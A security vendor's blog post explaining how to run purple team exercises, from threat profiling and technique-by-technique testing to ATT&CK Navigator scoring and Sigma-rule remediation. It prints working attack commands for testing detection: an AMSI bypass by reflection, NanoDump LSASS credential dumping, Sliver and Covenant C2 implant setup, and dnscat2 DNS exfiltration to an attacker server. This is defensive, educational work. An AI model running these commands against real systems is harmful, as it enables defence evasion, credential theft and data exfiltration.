Purple Team Exercises: How to Run Them and What You'll Learn About Your Defences

Security teams have long operated in silos. Red teams attack, blue teams defend, and the two rarely speak the same language until after an incident has already happened. Purple teaming dismantles that wall by running attack and defence in parallel, with both sides sharing intelligence in real time. The result is not just a report of what an attacker could do, but a measurable improvement in your detection, response, and containment capabilities.

This post walks through how to structure and execute a purple team exercise from scoping to debrief, with the technical depth needed to make it genuinely useful rather than a checkbox exercise.

What Purple Teaming Actually Means

Purple teaming is a collaborative methodology where offensive and defensive practitioners work together during a structured engagement. Unlike a traditional red team assessment, where the red team operates covertly and the blue team is unaware, a purple team exercise is fully transparent. The red side announces what technique it is about to execute, executes it, and then both sides review whether the blue team's controls detected, alerted, or blocked it.

This changes the output entirely. Instead of a penetration test report listing what an attacker could reach, you get a technique-by-technique breakdown of your detection coverage, mapped to frameworks like MITRE ATT&CK.

If your organisation already commissions adversary simulations but has never structured a purple team engagement, the Redfox Cybersecurity services page outlines how a structured programme can be built around your current maturity level.

Planning the Exercise: Scope, Goals, and Threat Profiles

Defining the Threat Profile

A purple team exercise should not attempt to cover all of ATT&CK in a single session. Start by defining a realistic threat actor profile relevant to your sector. A financial services organisation should focus on techniques used by groups such as FIN7 or Scattered Spider. A manufacturing company should consider industrial espionage TTPs.

Use threat intelligence sources to build your scenario:

• MITRE ATT&CK Groups (https://attack.mitre.org/groups/)
• CISA advisories and known exploited vulnerabilities
• ISAC feeds relevant to your vertical
• Historical incident data from your own SOC

From the threat profile, derive a list of ATT&CK technique IDs to test. A realistic first exercise might cover 20 to 30 techniques across initial access, execution, persistence, lateral movement, and exfiltration.

Setting Success Criteria

Define what "success" looks like before a single command is run. Success is not red team wins or blue team wins. It is accurate measurement. For each technique, you want to record:

• Was the technique detected? (Yes / No)
• Was an alert generated? (Yes / No / Alert with incorrect context)
• What was the mean time to detect (MTTD)?
• Was the technique blocked by a preventive control?
• What log source provided the signal, if any?

Build a tracking spreadsheet before the exercise begins. Atomic Red Team's navigator layer format pairs well with an ATT&CK Navigator export for this purpose.

Tooling for the Red Side

Atomic Red Team for Baseline Coverage Testing

Atomic Red Team by Red Canary provides small, discrete, MITRE-mapped test cases that can be executed individually. These are ideal for purple team exercises because each atomic maps to a single technique and is easy to stop, revert, and discuss.

Run the Invoke-AtomicRedTeam PowerShell module to execute a specific technique:

Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
Invoke-AtomicTest T1059.001 -TestNumbers 1 -ShowDetailsBrief
Invoke-AtomicTest T1059.001 -TestNumbers 1


[cta]

The above targets T1059.001, PowerShell execution, which remains one of the most commonly abused techniques across threat actor groups. After running it, blue team reviewers check whether the execution triggered an alert in the SIEM, EDR, or both, and with what fidelity.

Covenant C2 for Realistic Post-Exploitation Scenarios

For techniques requiring a live command-and-control channel, Covenant provides a .NET-based C2 framework suited to professional purple team engagements. Unlike commodity tooling, Covenant supports HTTP, HTTPS, and SMB listeners and produces malleable traffic profiles that reflect real-world implant behaviour.

Stand up a Covenant listener and generate a Grunt stager:

# Clone and run Covenant
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run


[cta]

Once the Grunt implant is running on the target host, red team operators walk through post-exploitation tasks step by step while blue team analysts watch their tooling in real time. This is where purple teaming separates itself from any static assessment.

Sliver for Cross-Platform Lateral Movement Testing

Sliver, developed by Bishop Fox, is a modern cross-platform C2 framework written in Go. It supports WireGuard-based C2, MTLS, and HTTP/S transports and is well suited to testing lateral movement and defence evasion techniques on both Windows and Linux endpoints.

Generate an implant for lateral movement testing:

sliver > generate --mtls 10.10.10.5 --os windows --arch amd64 --save /tmp/implant.exe
sliver > mtls --lport 8888


[cta]

This generates a beacon that can be used to test techniques such as T1021.002 (SMB/Windows Admin Shares) and T1550.002 (Pass the Hash) while the blue team monitors authentication logs and lateral movement detections in real time.

Executing Techniques: A Step-by-Step Flow

The Talk-and-Execute Model

Each technique in a purple team exercise should follow a consistent rhythm:

1. Red team announces the technique ID and what they are about to do.
2. Blue team confirms they are watching the relevant log sources.
3. Red team executes.
4. Both sides observe in real time.
5. The group discusses what was seen, what was missed, and why.
6. The result is recorded in the tracking sheet.
7. If a gap is found, an immediate tuning recommendation is documented.

This loop is slower than running a full adversary simulation, but that is by design. The value is in the conversation between steps four and five.

Testing Credential Access: LSASS Memory Dumping

Credential access is consistently one of the weakest detection areas for blue teams. Testing T1003.001 (LSASS Memory), for example, reveals whether your EDR is catching common dump techniques or only signature-based variants.

Use NanoDump, a stealthy LSASS dumper designed for professional engagements:

# Upload NanoDump to target via C2
# Execute with a spoofed process signature
nanodump.exe --write C:\Windows\Temp\doc.db --valid

# On the blue side: check for Event ID 10 in Sysmon (process access to LSASS)
# or EDR telemetry for OpenProcess calls targeting lsass.exe


[cta]

During debrief, common findings include EDR detecting the dump but not alerting with adequate context, Sysmon logging the access but the SIEM having no rule parsing Event ID 10 for this scenario, or the dump succeeding entirely without a single alert.

Each of these outcomes is valuable. The first tells you your alerting pipeline is broken. The second tells you detection logic is missing. The third tells you your EDR policy is misconfigured.

Testing Defence Evasion: AMSI Bypass and Reflective Loading

If your organisation relies heavily on Windows Defender or a third-party AV solution, testing AMSI bypass techniques (T1562.001) is essential. This does not require a specific payload. The goal is to test whether the bypass itself is detected.

# AMSI patch test (for controlled purple team use only)
# Tests whether AMSI is patching memory to disable scanning
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)


[cta]

After execution, blue team analysts check:

• Did Defender or the EDR catch the in-memory patch?
• Was there a corresponding Windows event or ETW trace?
• Did AMSI itself log the attempt before it was disabled?

If the answer to all three is no, that is a significant detection gap for an incredibly common attacker technique. Redfox Cybersecurity regularly identifies this exact gap during purple team and red team engagements, often in environments that believed their AV coverage was comprehensive.

Testing Exfiltration: DNS Tunnelling

Exfiltration over DNS (T1048.003) is routinely missed by organisations that do not have DNS query logging or anomaly detection tuned. Testing it during a purple team exercise is straightforward.

Use DNScat2 for a controlled test:

# On the attacker-controlled server
ruby dnscat2.rb --dns domain=exfil.yourtestdomain.com,port=53 --no-cache

# On the target Windows host
dnscat2-v0.07-client-win32.exe --secret=yourkey exfil.yourtestdomain.com


[cta]

Blue team should look for:

• Unusually high DNS query volume from a single host
• Long subdomain strings in DNS queries (>50 characters is a reliable heuristic)
• Queries to domains with no prior history in DNS logs
• High entropy subdomains detected by a tool such as PacketBeat or Zeek

If your DNS logs do not exist or are not ingested into your SIEM, that is the finding, and it requires no further testing.

Measuring Detection Coverage with ATT&CK Navigator

After the exercise, map your results into an ATT&CK Navigator layer. Colour-code each technique based on outcome:

• Green: detected and alerted with high fidelity
• Yellow: detected but alert lacked context or correct tagging
• Orange: logged but no alert generated
• Red: not detected at all

{
 "name": "Purple Team Exercise Results Q2",
 "versions": { "attack": "14", "navigator": "4.9" },
 "techniques": [
   { "techniqueID": "T1059.001", "color": "#ff6666", "comment": "No alert generated" },
   { "techniqueID": "T1003.001", "color": "#ffcc00", "comment": "EDR alerted, SIEM silent" },
   { "techniqueID": "T1048.003", "color": "#ff6666", "comment": "DNS logging not enabled" }
 ]
}


[cta]

This layer becomes your detection coverage baseline. Run the same techniques three months later after tuning, and compare the layers. This is how you demonstrate measurable security improvement to leadership without relying on abstract risk scores.

What You Will Actually Learn About Your Defences

Log Gaps Are More Common Than Configuration Gaps

Most organisations have more tooling than they know what to do with. What they consistently lack is log coverage and parsing rules that turn raw events into actionable alerts. A purple team exercise tends to reveal that 60 to 70 percent of missed detections are not due to missing tools but to missing log ingestion or misconfigured parsing.

Common findings from purple team exercises run by teams like Redfox Cybersecurity include:

• Sysmon installed but Event ID 10 (process access) not forwarded to the SIEM
• PowerShell ScriptBlock logging enabled but not collected
• EDR deployed but in audit mode rather than prevention mode on critical assets
• DNS query logging disabled at the resolver level
• No WMI event subscription monitoring (T1546.003)

Alert Fidelity Is as Important as Alert Volume

An alert that fires but contains no useful context, no process tree, no parent process, and no associated user account is nearly as harmful as no alert at all. It adds analyst fatigue without enabling a response decision. Purple team exercises expose this consistently, particularly in SIEM rules that were written once and never tuned against real adversary behaviour.

Your Response Playbooks Have Gaps You Did Not Know About

When an alert fires during a live purple team exercise and blue team analysts are watching, the gaps in response playbooks become immediately obvious. Common scenarios include analysts not knowing which tool to pivot to when an LSASS access alert fires, or uncertainty about the correct escalation path when DNS anomalies are flagged. These are process failures, not technology failures, and they are just as important to address.

Building a Remediation Roadmap from Exercise Output

At the end of the exercise, the output should feed directly into a prioritised remediation backlog, not a report that sits unread. Structure the backlog by category:

Detection engineering tasks: Write or update SIEM detection rules for each technique that was missed or poorly alerted. Use Sigma rules as a portable format:

title: PowerShell AMSI Bypass via Reflection
status: experimental
description: Detects memory patching of AmsiUtils to disable AMSI scanning
logsource:
 category: ps_script
 product: windows
detection:
 selection:
   ScriptBlockText|contains:
     - 'AmsiUtils'
     - 'amsiInitFailed'
 condition: selection
falsepositives:
 - Unlikely in production environments
level: high
tags:
 - attack.defense_evasion
 - attack.t1562.001


[cta]

Log collection tasks: Prioritise enabling missing log sources, starting with those that would have detected the most missed techniques. In most environments, enabling Sysmon Event ID 10 forwarding and PowerShell ScriptBlock logging alone closes a significant portion of coverage gaps.

EDR policy tasks: Review EDR policy assignments on critical asset groups. Prevention mode should be the default for servers and privileged workstations. Audit mode is a starting point, not a permanent configuration.

Playbook updates: For each technique where a response gap was identified, update or create a response playbook. Reference the specific alert name, the expected data fields, and the recommended triage steps.

How Often Should You Run Purple Team Exercises?

The answer depends on your maturity and how quickly your environment changes. A reasonable baseline for most organisations is quarterly tabletop-style exercises covering 15 to 20 techniques, with a deeper full-day collaborative exercise twice per year.

After significant infrastructure changes, such as a cloud migration, a new EDR deployment, or a major acquisition, an unscheduled purple team exercise targeting the changed environment is worth running before the next scheduled cycle.

The key is continuity. A single purple team exercise is valuable. A programme of exercises run on a repeating cycle, with results compared over time using ATT&CK Navigator layers, is transformational.

Key Takeaways

Purple team exercises are not a luxury reserved for mature security programmes. They are one of the most efficient investments a security team can make, because they turn every hour of red team time into a direct improvement in blue team capability.

Run them with a defined threat profile, structured technique-by-technique execution, and a tracking mechanism that maps every result back to ATT&CK. Use the output to build a prioritised remediation backlog, not just a report. Repeat the process on a cycle and compare results to demonstrate improvement.

If you want to run a structured purple team exercise but do not have the internal red team capacity to do it, the Redfox Cybersecurity services team can operate as your red side, working collaboratively with your internal defenders to run the full exercise cycle and hand over detection engineering recommendations at the end.